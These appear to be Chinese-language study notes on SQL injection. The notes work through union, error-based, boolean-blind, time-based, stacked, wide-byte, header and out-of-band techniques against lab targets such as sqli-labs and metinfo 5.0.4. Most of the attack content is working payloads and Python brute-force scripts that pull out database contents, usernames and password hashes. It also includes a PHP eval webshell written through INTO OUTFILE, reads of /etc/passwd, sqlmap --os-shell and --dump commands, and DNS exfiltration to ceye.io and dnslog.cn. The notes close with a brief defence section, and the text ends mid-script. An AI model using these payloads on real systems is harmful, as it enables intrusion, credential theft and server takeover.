sql注入学习笔记

sql注入原理

  • 掌握sql注入漏洞的原理
  • 掌握sql注入漏洞的分类

万能用户名

复制代码
777' or 1=1 #

原句

复制代码
select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'

输入过后为

复制代码
select userid from cms_users where username = 'admin' and password='md5字符串'

万能语句输入后

复制代码
select userid from cms_users where username = '777' or 1=1 # and password='md5字符串'

发现后面被注释掉

也即

复制代码
select userid from cms_users where username = '777' or 1=1

此处1=1为恒真

登录逻辑

  • 通过post方式获取用户名和密码;
  • 构造sql语句以用户名和密码作为查询条件进行查询,并且 单引号闭合;
  • 如果sql语句正确执行并且结果集对象中有记录提示登录成功;
  • 否则登录失败

sql注入总结

sql注入原理

SQL 注入的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到 SQL 语句中

sql注入危害

​ 攻击者可以利用 SOL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容 (脱库)。

​ 在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。

​ 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用 SOL 注入漏洞直接获取 WebshelL 或者服务器权限。

sql注入分类

两大基本类型 五大基本手法 提交参数方式 注入点的位置
数字型 字符型 联合查询 报错注入 布尔盲注 延时注入 堆叠查询 GET注入 POST注入 Cookie注入 HTTP头部注入 URL注入 搜索框注入 留言板注入 登录框注入

sql注入漏洞挖掘

  • sql注入可能存在的位置
  • 如何确定sql注入漏洞存在性?

注入点判断

会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在sql注入漏洞

步骤 测试数据 测试判断
1 -1 或 +1 是否能够回显上一下或者下一个页面(判断是否有回显)
2 '或" 是否显示数据库的错误信息;根据回显内容可以判断是字符型数据还是数字型
3 and 1=1 and 1=2 回显的页面是否不同(布尔类型的状态)
4 and sleep(5) 判断页面的返回时间
5 \ 判断转义

主要关注的问题

主要关注的问题 解释
回显 数据库的内容是否会回显在网页中
数据库报错 数据库报错信息是否会回显在网页中。 提交的数据是字符型还是数字型,如果是字符型数据,闭合方式是什么
布尔类型状态 显示的页面不同,形成对比。 页面正常或者不正常
延时 让数据库沉睡响应的秒数

其它知识补充

mysql数据库中的注释

mysql中的注释 url中的表现
减减空格(三个字符)--[] --+
井号# %23
内联注释/*!5000 Order*/

sql注入基本手法

联合查询

适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 union select 语句,该语句会同时执行两条 select 语句,实现跨库、跨表查询。

必要条件

  • 两条 select 语句查询结果具有相同列数

  • 对应的列数据类型相同 (特殊情况下,条件被放松)

目标分析(cms为例)

正常访问
复制代码
http://10.4.7.128/cms/show.php?id=33
添加单引号
复制代码
http://10.4.7.128/cms/show.php?id=33'
判断列数
复制代码
http://10.4.7.128/cms/show.php?id=33 order by 1
正常
http://10.4.7.128/cms/show.php?id=33 order by 15 正常
http://10.4.7.128/cms/show.php?id=33 order by 16 不正常

即判断该select语句中有15列

判断显示位置
复制代码
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

http://10.4.7.128/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

将前面查询置为假,只看后面的查询结果

此处回显位位3,11

更改回显位为mysql内置函数可以看到信息

查看所有表名

直接查询不知道的表,会报错表不存在

数据库中information_schema.tables这张表里存放了所有表名

因此从这张表查询

复制代码
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables

有回显位

将回显位改为count(*),table_name

count(*)为数有几个

table_name为查看表名

复制代码
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema.tables

此处报不合法

需要将table_name转义成16进制

复制代码
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables
复制代码
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables

使用group_concat包裹表名,即可一次性获取所有表名

然后hex解码就可以看到表名了

查看列名
复制代码
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
查看用户
复制代码
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users limit 0,1

http://10.4.7.128/cms/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users limit 1,1

得到用户账密信息

报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部

分。

group by

复制代码
?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

http://10.4.7.128/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) --+

http://10.4.7.128/cms/show.php?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) --+

查询账密的时候只需要更换这两位的值即可

extractvalue

复制代码
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
查库
复制代码
http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
查表
复制代码
http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 7,1),0x5e)) --+

加limit可以一条一条列出结果,7,1即为cms_users

查列
复制代码
http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),0x5e)) --+

1和2即为用户名和密码的列名

查数据
复制代码
http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select password from cms_users limit 0,1),0x5e)) --+

http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e)) --+

updatexml

复制代码
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
查库
复制代码
http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
查表
复制代码
http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema= database() limit 7,1),0x5e),1) --+
查列
复制代码
http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema= database() and table_name='cms_users' limit 1,1),0x5e),1) --+
查数据
复制代码
http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select password from cms_users limit 0,1),0x5e),1) --+

http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1) --+

布尔盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。

库名爆破

复制代码
/Less-8/?id=2' and database()='xxx' --+
# 不知道数据库名有多少位
# 不知道数据库名的字符集合
# 爆破成本很高

库名长度

复制代码
/Less-8/?id=2' and length(database())=8 --+
# 页面正常,说明数据库名字的长度是8

判断长度大于10时,无回显

小于10时,页面正常

最终找到长度为8

按位测试

复制代码
# 第一位
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),1,1))=115 --+
# 115
# s
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),2,1))=101 --+
# 115 101
# s e
# 第三位
...

截取第一个字符,然后将其转换为ASCII码,判断长度

如图大于120无回显,则小于120

大于110,网页正常

最终找到对应值115,对照ascii码即为s

爆库代码

python 复制代码
import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)

database_name=""
for i in range(1,4):
    for num1 in str:
        url=f"http://10.4.7.128/cms/show.php?id=33%20and%20substr(database(),{i},1)='{num1}'%20--+"
        res=requests.get(url=url)
        if res.headers["Content-Length"]=="5263":
            database_name=database_name+f"{num1}"
            break
print(database_name)

表名爆破

复制代码
http://10.4.7.128/cms/show.php?id=33 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97  --+

可以得到第一位即为99,对应ascii码 c

爆表代码

python 复制代码
import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)


for i in range(1,8):
    table_name=""
    for j in range(1,12):
        for num1 in str:
            url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1)='{num1}'  --+"
            # url=f"http://10.4.7.128/cms/show.php?id=33%20and%20substr(database(),{i},1)='{num1}'%20--+"
            res=requests.get(url=url)
            if res.headers["Content-Length"]=="5263":
                table_name=table_name+f"{num1}"
                break
    print(table_name)

列名爆破

复制代码
http://10.4.7.128/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),1,1)='u' --+

数据爆破

复制代码
http://10.4.7.128/cms/show.php?id=33 and substr((select username from cms_users limit 1,1),1,1)='a' --+

爆数据代码

python 复制代码
import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)

for i in range(0,3):
    username_name=""
    for j in range(1,9):
        for num1 in str:
            # url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{num1}' --+"
            url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select username from cms_users limit {i},1),{j},1)='{num1}' --+"
            res=requests.get(url=url)
            if res.headers["Content-Length"]=="5263":
                username_name=username_name+f"{num1}"
                break
    print(username_name)

for x in range(0,3):
    passwd=""
    for y in range(1,33):
        for num2 in str:
            # url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{num1}' --+"
            url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select password from cms_users limit {x},1),{y},1)='{num2}' --+"
            res=requests.get(url=url)
            if res.headers["Content-Length"]=="5263":
                passwd=passwd+f"{num2}"
                break
    print(passwd)

延时注入

利用sleep() 语句的延时性,以时间线作为判断条件

复制代码
http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(1=2,sleep(5),1) --+

数据库名字长度

复制代码
/sqli-labs/Less-9/?id=2' and if(length(database())>1,sleep(5),1) --+
# 页面有延时

数据库名字

复制代码
/sqli-labs/Less-9/?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+
# 115 101 99
# s e c

爆库代码

python 复制代码
import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)

database_name=""
for i in range(0,10):
    for num1 in str:
        url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr(database(),{i},1)='{num1}',sleep(1),1) --+"
        try:
            res=requests.get(url=url,timeout=1)
        except requests.exceptions.ReadTimeout:
            database_name=database_name+f"{num1}"
            break
print(database_name)

爆表代码

python 复制代码
import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)


for i in range(0,4):
    table_name=""
    for j in range(1,9):
        for num1 in str:
            url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1)='{num1}',sleep(1),1) --+"
            try:
                res=requests.get(url=url,timeout=1)
            except requests.exceptions.ReadTimeout:
                table_name=table_name+f"{num1}"
                break
    print(table_name)

爆列代码

python 复制代码
import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)


for i in range(0,4):
    column_name=""
    for j in range(1,10):
        for num1 in str:
            url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {i},1),{j},1)='{num1}',sleep(1),1) --+"
            try:
                res=requests.get(url=url,timeout=1)
            except requests.exceptions.ReadTimeout:
                column_name=column_name+f"{num1}"
                break
    print(column_name)

爆数据代码

python 复制代码
import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)


for i in range(0,15):
    name=""
    for j in range(1,10):
        for num1 in str:
            url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr((select username from users limit {i},1),{j},1)='{num1}',sleep(1),1) --+"
            try:
                res=requests.get(url=url,timeout=1)
            except requests.exceptions.ReadTimeout:
                name=name+f"{num1}"
                break
    print(name)

for i in range(0,15):
    passwd=""
    for j in range(1,10):
        for num1 in str:
            url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr((select password from users limit {i},1),{j},1)='{num1}',sleep(1),1) --+"
            try:
                res=requests.get(url=url,timeout=1)
            except requests.exceptions.ReadTimeout:
                passwd=passwd+f"{num1}"
                break
    print(passwd)

堆叠注入

一次HTTP 请求,可以同时执行多条SQL 语句,包括增删改查操作。

以sqli-labs 第38 关为例子

复制代码
?id=2';update users set password='123456'--+

此处没有查询成功,只能用into写入文件可以查询到内容

sql注入其它情况

  • 掌握宽字节注入原理与利用方法

  • 掌握HTTP 头部注入的场景

宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义,以sqli-labs-32 关为例子

复制代码
?id=1
?id=1'
1\' 服务器会把单引号转义,单引号由原来的定义字符串的特殊字符被转义为普通字符。
315c27 非常强烈的暗示

单引号注入时显示正常,但是底下有提示

php 复制代码
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a
backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a
backslash
return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
  • 单双引号被转义,没有其他过滤;

  • 将与数据库交互的数据字符编码设置为了GBK

%df即为让df和反斜线的gbk编码识别在一起,然后让单引号正常使用不被转义

复制代码
http://10.4.7.128/sqli-labs/Less-32/?id=1%df' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

cb5c 薥
?id=1%cb'
1%df\'
31cb5c27
1薥' # "吃"掉了转义字符\
/Less-32/?id=1%cb' and 1=2 union select 1,database(),3 --+

gbk编码

GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。注意到5C 在GBK 编码

的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字

http头部注入

SQL 注入点不止会出现在GET 参数或POST 参数中

cookie注入

注入点在Cookie 数据中,以sqli-labs-20 关为例子

复制代码
GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-20/
DNT: 1
Connection: close
Cookie: uname=Dumb' and 1=2 union select 1,version(),database() #
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

base64注入

注入的参数需要进行base64 编码,以sqli-labs-22 关为例子

复制代码
GET /sqli-labs/Less-22/index.php HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-22/
DNT: 1
Connection: close
Cookie: uname=RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=
Upgrade-Insecure-Requests: 1

user-agent注入

注入的参数在User-Agent 中,以sqli-labs-18 关为例子

复制代码
POST /sqli-labs/Less-18/ HTTP/1.1
Host: 10.4.7.128
User-Agent: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://10.4.7.128
DNT: 1
Connection: close
Referer: http://10.4.7.128/sqli-labs/Less-18/
Upgrade-Insecure-Requests: 1
uname=Dumb&passwd=Dumb&submit=Submit

referer注入

注入参数在Referer 字段中,以sqli-labs-19 关为例子

复制代码
POST /sqli-labs/Less-19/ HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://10.4.7.128
DNT: 1
Connection: close
Referer: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
Upgrade-Insecure-Requests: 1
uname=Dumb&passwd=Dumb&submit=Submit

sql注入读写文件

  • 掌握SQL 注入读写文件的原理

  • 掌握SQL 注入读写文件的方法

前提条件

权限问题

当前(连接)数据库的用户具有文件读写权限。数据库的权限粒度,某个库中某个表某个用户是否有增删改查权限。

MySQL 数据库用户,例如root@localhost,由两部分组成:

文件路径

已知读写目标文件的绝对路径。

复制代码
/var/www/
/var/www/html/
c:/phpstudy/www/
c:/xampp/htdocs/
...

安全选项

MySQL 数据库有关于文件读写的安全选项secure_file_priv。

secure_file_priv 参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改my.ini 配置文件,并重启mysql 数据库

复制代码
show global variables like '%secure_file_priv%';
参数 含义
secure_file_priv=NULL 限制mysqld 不允许导入导出操作
secure_file_priv='c:/a/' 会限制mysqld 的导入导出操作在某个固定目录下,并且子目录有效
secure_file_priv= 不对mysqld 的导入导出操作做限制

读写文件

读取文件

使用load_file() 函数

复制代码
and 1=2 union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3
and 1=2 union select 1,load_file("c:/windows/system32/drivers/etc/hosts"),3
and 1=2 union select 1,load_file("/etc/passwd"),3

写入文件

使用into outfile 语句

复制代码
and 1=2 union select 1,2,3 into outfile "c:/phpstudy_2016/www/1.php" 
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "c:/phpstudy_2016/www/2.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/var/www/html/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/tmp/1.php"

Linux 系统下,一般情况下权限较低,无法写入文件

mysql上传文件蚁剑连接
复制代码
http://10.4.7.128/sqli-labs/Less-1/?id=-1' union select 1,2,"<?php @eval($_REQUEST[999]);?>" into outfile "c:\\phpstudy_2016\\WWW\\999.php"  --+
复制代码
http://10.4.7.128/999.php?999=phpinfo();

sql注入工具

sqlmap

SQLMap 是一款专注于SQLi 的工具,堪称神器。SQLmap 基于Python 语言编写的命令行工具,集成在Kali 中

安装与更新

复制代码
sudo apt-get update
sudo apt-get install sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git
git fetch
git pull

参数速查

参数 含义
-u 检测注入点
--dbs 列出所有的库名
--current-user 当前连接数据库用户的名字
--current-db 当前数据库的名字
-D "cms" 指定目标数据库为cms
--tables 列出数据库中所有的表名
-T "cms_users" 指定目标表名为'cms_users'
--columns 列出所有的字段名
-C 'username,password' 指定目标字段
--dump 列出字段内容
-r 从文件中读取HTTP 请求
--os-shell 在特定情况下,可以直接获得目标系统Shell
--level 3 设置sqlmap 检测等级 3
--cookie="username=admin" 携带Cookie 信息进行注入
-g 利用google 搜索引擎自动搜索注入点
--batch 使用默认选项
--random-agent 使用随机User-Agent 信息
-v 3 显示payload

sqlmap实战

利用sqlmap 注入得到cms 网站管理员账密

复制代码
注入点:http://10.10.10.6/cms/show.php?id=33
sqlmap -u "http://10.10.10.1/show.php?id=33"
sqlmap -u "http://10.10.10.1/show.php?id=33" --dbs 
sqlmap -u "http://10.10.10.1/show.php?id=33" --current-db
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" --tables 
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" --columns
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 |
| ajest | e10adc3949ba59abbe56e057f20f883e |
+----------+----------------------------------+

post注入

复制代码
sqlmap -r /tmp/login.post

getshell

sql注入漏洞防御

  • 避免采用拼接的方式构造SQL 语句,可以采用预编译等技术;

  • 对进入SQL 语句的参数进行足够过滤。

  • 部署安全设备比如WAF。

  • 现行很多开发框架,基本上已经从技术上,解决SQL 注入问题

扩展1-metinfo_5.0.4 sql注入

复现

复制代码
http://10.4.7.128/metinfo_5.0.4/about/show.php?lang=cn&id=22 and length(database())=11 --+

得到库名长11

爆库代码

python 复制代码
import string
import requests

strings=string.digits+string.ascii_letters+'_'
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
    
}
flag="13300000000"
str=[]
for i in strings:
    str.append(i)

database_name=""
for i in range(1,10):
    for num1 in str:
        url=f"http://10.4.7.128/metinfo_5.0.4/about/show.php?lang=cn&id=22%20and%20ascii(substr(database(),{i},1))={ord(num1)}%20--+"
        res=requests.get(url=url,headers=headers)
        if flag in res.text:
            database_name=database_name+f"{num1}"
            break
print(database_name)

完整半自动化脚本

python 复制代码
import string
import requests
import sys
import binascii

url="http://10.4.7.164/metinfo_5.0.4/about/show.php?lang=cn&id=22"
flag="13300000000"
headers={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
}

strings=string.digits+string.ascii_letters+'_'
str=[]
for i in strings:
    str.append(i)

# database-length---------------------------------------------------
def get_database_length(url):
    database_length=""
    for i in range(1,100):
        payload1=f" and length(database())={i} --+"
        url_full=url+payload1
        # print(url_full)
        res=requests.get(url=url_full,headers=headers)
        if flag in res.text:
            database_length=i
            break
    return database_length
database_length=get_database_length(url)
print(f"[+]database_length is:{database_length}")

# database-content---------------------------------------------------
def get_current_database_name(database_length):
    current_database_name=""
    for i in range(1,database_length+1):
        for num1 in str:
            payload2=f" and ascii(substr(database(),{i},1))={ord(num1)} --+"
            url_full=url+payload2
            res=requests.get(url=url_full,headers=headers)
            if flag in res.text:
                current_database_name+=num1
                # print(current_database_name)
                break
    return current_database_name
current_database_name=get_current_database_name(database_length)
print(f"[+]current_database_name is:{current_database_name}")

# table-name---------------------------------------------------
def get_table_name():
    for i in range(0,100):
        flag1=0
        table_name=""
        print(f"[{i+1}]",end="")
        for j in range(1,100):
            flag2=0
            for num2 in str:
                payload2=f" and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit {i},1),{j},1))={ord(num2)} --+"
                url_full=url+payload2
                # print(url_full)
                res=requests.get(url=url_full,headers=headers)
                if flag in res.text:
                    # table_name+=num2
                    # print(table_name)
                    print(num2,end="")
                    flag1=1
                    flag2=1
                    break
                
            if flag2==0:
                break 
        if flag1==0:
            break
        print()
print("table_name is:=========================")
get_table_name()
            
#column-name---------------------------------------------------

def get_column_name():
    
    # print(choice2)
    for i in range(0,100):
        flag1=0
        column_name=""
        print(f"[{i+1}]",end="")
        for j in range(1,100):
            flag2=0
            for num3 in str:
                
                # payload2=f" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65 limit {i},1),{j},1))={ord(num3)} --+"
                payload2=f" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name={choice2} limit {i},1),{j},1))={ord(num3)} --+"
                url_full=url+payload2
                # print(url_full)
                res=requests.get(url=url_full,headers=headers)
                if flag in res.text:
                    print(num3,end="")
                    flag1=1
                    flag2=1
                    break
                
            if flag2==0:
                break 
        if flag1==0:
            break
        print()
print("column_name is:==========================================================")
choice1=input("plz in put table_name which u want to select:")
choice2 = "0x" + binascii.hexlify(choice1.encode()).decode()
get_column_name()
# data-content---------------------------------------------------
def get_data():
    for i in range(0,100):
        flag1=0
        column_name=""
        print(f"[{i+1}]",end="")
        for j in range(1,100):
            flag2=0
            for num3 in str:
                
                # payload2=f" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65 limit {i},1),{j},1))={ord(num3)} --+"
                payload2=f" and ascii(substr((select {choice3} from {choice1} limit {i},1),{j},1))={ord(num3)} --+"
                url_full=url+payload2
                # print(url_full)
                res=requests.get(url=url_full,headers=headers)
                if flag in res.text:
                    print(num3,end="")
                    flag1=1
                    flag2=1
                    break
                
            if flag2==0:
                break 
        if flag1==0:
            break
        print()
print("data-content is:=======================================================")
choice3=input("plz in put column_name which u want to select:")
get_data()

扩展2-安全狗绕过

同下文bypass

扩展3-ctf平台

ctfhub

sqli进阶

OOB注入

​ 带外通道技术(Out of Band,OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞。这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的 TCP、UDP、ICMP 请求,然后,攻击者可以通过这个请求来提取数据。

关键点:

  • 无回显

  • DNS 带外

DNSLog平台

延时注入

POC:

复制代码
select load_file("\\\\ajest.vjrfyc.ceye.io\\ajest");

以 /sqli-labs/Less-9/ 为例

复制代码
?id=2' and 1=1 union select 
1,2,load_file("\\\\ajest.vjrfyc.ceye.io\\ajest") --+
?id=2' and 1=1 union select
1,2,load_file(concat("\\\\",database(),".vjrfyc.ceye.io\\ajest")) --+
复制代码
http://10.4.7.164/sqli-labs/Less-9/?id=1' and 1=1 union select 1,2,load_file(concat("\\\\",database(),".w0g6to.dnslog.cn\\order")) --+

sqli exp

​ 在渗透测试的过程中,为了提高效率,通常需要编写一些小工具,把一系列机械性的手法自动化实现,如 SQL 注入中的盲注。

区分四个概念:

  • POC:针对某一个(类)漏洞的验证代码,主要用来验证漏洞的存在性。

  • EXP:针对某一个漏洞的完整利用程序,除了验证漏洞的存在性,还能相对完美利用漏洞。

  • Payload:

  • ShellCode:

​ 拥有编写好的 EXP,再次遇到相同的或相似的目标环境和漏洞,仅需要进行简单的修改就可以直接进行漏洞检查了,大大提高了便利性和效率

利用 Python 脚本跑盲注

布尔盲注

以 sqli-labs/Less-8/ 例

python 复制代码
# sqli-labs_08_sqli-blind-bool-based-sigle-quotes.py
'''
?id=1' and 1=1 --+
?id=1' and 1=2 --+
You are in.....
'''
import requests
import string
url= "http://10.4.7.130/sqli-labs/Less-8/"
headers= {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 
Safari/537.36"
}
c_set= string.printable.strip()
# print(c_set)
# 获取内容长度
def get_content_len(url):
for i in range(1, 100):
# payload= f"?id=1' and length(database())={i} -- AJEST"
payload= f"?id=1' and length(version())={i} -- AJEST"
full_url= url+ payload

# print(full_url)

res= requests.get(url= full_url, headers= headers)

if "You are in....." in res.text :
break

return i


# 按位获取内容
def get_content(content_len):

content= ""

for i in range(1,content_len+ 1):

for c in c_set:

# payload= f"?id=1' and ascii(substr(database(),{i},1))=
{ord(c)} -- AJEST"
payload= f"?id=1' and ascii(substr(version(),{i},1))=
{ord(c)} -- AJEST"

full_url= url+ payload

# print(full_url)

res = requests.get(url= full_url, headers= headers)

if "You are in....." in res.text :
content += c
break

print(f"[+] The content: {content}")

return content

content_len = get_content_len(url)
print(f"[+] The length of content: {content_len}")
get_content(content_len)

延时注入

以 sqli-labs/Less-9 为例

python 复制代码
# sqli-labs_09_sqli-blind-time-based-sigle-quotes.py
'''
?id=1' and sleep(5) --+
timeout
'''
import requests
import string
url= "http://10.4.7.130/sqli-labs/Less-9/"
headers= {
